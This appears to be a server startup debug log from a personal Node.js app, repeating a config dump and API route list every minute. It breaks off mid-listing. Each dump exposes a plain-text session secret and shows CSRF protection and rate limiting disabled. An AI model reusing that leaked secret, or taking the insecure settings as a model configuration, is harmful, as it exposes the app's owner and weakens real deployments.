2026-07-23T15:54:05.448Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:54:05.449Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:54:05.449Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:54:05.449Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:55:06.280Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:55:06.441Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:55:06.528Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:55:06.528Z server-connect:secure CSRF Protection initialized
2026-07-23T15:55:06.530Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:55:06.531Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:55:06.531Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:55:06.532Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:55:06.532Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:55:06.533Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:55:06.536Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:55:06.536Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:55:06.537Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:55:06.537Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:55:06.538Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:55:06.538Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:55:06.538Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:55:06.539Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:55:06.541Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:55:06.542Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:55:06.542Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:55:06.543Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:55:06.543Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:55:06.577Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:55:06.577Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:55:06.577Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:55:06.578Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:55:06.578Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:55:06.578Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:55:06.578Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:55:06.579Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:55:06.579Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:55:06.579Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:55:06.579Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:55:06.579Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:55:06.580Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:55:06.581Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:56:06.742Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:56:06.921Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:56:07.005Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:56:07.005Z server-connect:secure CSRF Protection initialized
2026-07-23T15:56:07.007Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:56:07.008Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:56:07.008Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:56:07.009Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:56:07.009Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:56:07.010Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:56:07.012Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:56:07.013Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:56:07.013Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:56:07.014Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:56:07.014Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:56:07.014Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:56:07.015Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:56:07.016Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:56:07.018Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:56:07.019Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:56:07.019Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:56:07.019Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:56:07.020Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:56:07.020Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:56:07.020Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:56:07.021Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:56:07.021Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:56:07.021Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:56:07.021Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:56:07.022Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:56:07.022Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:56:07.022Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:56:07.022Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:56:07.023Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:56:07.024Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:56:07.024Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:56:07.024Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:57:07.207Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:57:07.386Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:57:07.461Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:57:07.462Z server-connect:secure CSRF Protection initialized
2026-07-23T15:57:07.463Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:57:07.464Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:57:07.464Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:57:07.465Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:57:07.465Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:57:07.466Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:57:07.468Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:57:07.476Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:57:07.477Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:57:07.477Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:57:07.477Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:57:07.478Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:57:07.478Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:57:07.479Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:57:07.479Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:57:07.479Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:57:07.480Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:57:07.482Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:57:07.483Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:57:07.483Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:57:07.484Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:57:07.484Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:57:07.484Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:57:07.484Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:57:07.485Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:57:07.485Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:57:07.485Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:57:07.485Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:57:07.486Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:57:07.486Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:57:07.486Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:57:07.486Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:57:07.487Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:57:07.487Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:57:07.487Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:57:07.487Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:57:07.487Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:57:07.488Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:58:07.697Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:58:07.878Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:58:07.951Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:58:07.951Z server-connect:secure CSRF Protection initialized
2026-07-23T15:58:07.953Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:58:07.953Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:58:07.954Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:58:07.954Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:58:07.954Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:58:07.955Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:58:07.957Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:58:07.958Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:58:07.958Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:58:07.959Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:58:07.959Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:58:07.959Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:58:07.960Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:58:07.960Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:58:07.961Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:58:07.961Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:58:07.961Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:58:07.962Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:58:07.963Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:58:07.963Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:58:07.964Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:58:07.976Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:58:07.977Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:58:07.977Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:58:07.978Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:58:07.978Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:58:07.978Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:58:07.979Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:58:07.979Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:58:07.983Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:58:07.983Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:58:07.984Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:58:07.984Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:58:07.984Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:58:07.984Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:58:07.985Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:58:07.985Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:58:07.985Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:59:08.202Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:59:08.390Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:59:08.467Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:59:08.467Z server-connect:secure CSRF Protection initialized
2026-07-23T15:59:08.469Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:59:08.470Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:59:08.476Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:59:08.476Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:59:08.477Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:59:08.478Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:59:08.480Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:59:08.481Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:59:08.482Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:59:08.482Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:59:08.482Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:59:08.483Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:59:08.483Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:59:08.486Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:59:08.487Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:59:08.487Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:59:08.487Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:59:08.488Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:59:08.488Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:59:08.489Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:59:08.489Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:59:08.489Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:59:08.489Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:59:08.490Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:59:08.490Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:59:08.490Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:59:08.490Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:59:08.491Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:59:08.491Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:59:08.491Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:59:08.491Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:59:08.491Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:59:08.492Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:59:08.492Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:59:08.492Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:59:08.492Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:59:08.492Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:59:08.493Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:00:08.693Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:00:08.893Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:00:08.977Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:00:08.977Z server-connect:secure CSRF Protection initialized
2026-07-23T16:00:08.979Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:00:08.980Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:00:08.980Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:00:08.980Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:00:08.981Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:00:08.981Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:00:08.984Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:00:08.984Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:00:08.985Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T16:00:08.985Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T16:00:08.986Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T16:00:08.986Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T16:00:08.987Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T16:00:08.987Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T16:00:08.988Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T16:00:08.990Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T16:00:08.990Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T16:00:08.991Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T16:00:08.991Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T16:00:08.991Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T16:00:08.992Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T16:00:08.992Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T16:00:08.992Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T16:00:08.993Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T16:00:08.993Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T16:00:08.993Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T16:00:08.993Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T16:00:08.994Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T16:00:08.994Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T16:00:08.994Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T16:00:08.994Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T16:00:08.995Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T16:00:08.995Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T16:00:08.995Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T16:00:08.995Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T16:00:08.995Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T16:00:08.996Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T16:00:08.996Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T16:01:09.186Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T16:01:09.355Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T16:01:09.449Z server-connect:setup:upload Upload middleware configured.
2026-07-23T16:01:09.449Z server-connect:secure CSRF Protection initialized
2026-07-23T16:01:09.451Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T16:01:09.452Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T16:01:09.452Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T16:01:09.453Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T16:01:09.453Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T16:01:09.454Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T16:01:09.456Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T16:01:09.457Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T16:01:09.457Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
